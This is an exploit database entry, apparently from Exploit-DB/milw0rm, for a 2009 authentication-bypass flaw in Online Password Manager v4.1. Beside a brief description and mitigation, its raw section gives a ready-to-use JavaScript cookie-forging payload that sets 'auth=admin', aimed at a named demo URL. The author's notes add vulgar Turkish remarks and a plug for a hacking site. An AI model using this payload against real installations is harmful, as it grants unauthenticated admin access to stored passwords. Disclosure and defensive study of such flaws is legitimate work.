Online Password Manager v4.1 Insecure Cookie Handling Vulnerability

vendor:

Online Password Manager

by:

ZoRLu

7,5

CVSS

HIGH

Insecure Cookie Handling

384

CWE

Product Name: Online Password Manager

Affected Version From: v4.1

Affected Version To: v4.1

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

Online Password Manager v4.1 Insecure Cookie Handling Vulnerability

A vulnerability in Online Password Manager v4.1 allows an attacker to inject arbitrary cookies into the application. An attacker can exploit this vulnerability by sending a maliciously crafted cookie to the application. This can allow the attacker to gain access to the application without authentication.

Mitigation:

Ensure that cookies are properly validated and sanitized before being used by the application.

Source

Exploit-DB raw data:

[~] Online Password Manager v4.1 Insecure Cookie Handling Vulnerability 
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu
[~]
[~] Date: 15.04.2009
[~]
[~] Home: yildirimordulari.com / dafgamers.com / z0rlu.blogspot.com 
[~]
[~] contact: trt-turk@hotmail.com
[~]
[~] N0T: Herkes Hecker Olmus :S yav siktirin gidin mal mal gelip msn de konusmayIn :S Herkes Ustune AlInmasIn anlayan anladI :S
[~]
[~] N0T: if you wanna learn hack you must be register to my site yildirimordulari.com
[~] -----------------------------------------------------------


yildirimordulari.com/OPM/main.php

Exploit:

javascript:document.cookie = "auth=[nick]; path=/";


Exploit for demo:

http://www.esoftpro.com/demo/OPM/main.php

javascript:document.cookie = "auth=admin; path=/";


[~] ----------------------------------------------------------------------
[~] Greetz tO: str0ke & DrLy0N & w0cker & Cyber-Zone & stack
[~]
[~] yildirimordulari.com / dafgamers.com / z0rlu.blogspot.com
[~]
[~] ----------------------------------------------------------------------

# milw0rm.com [2009-04-16]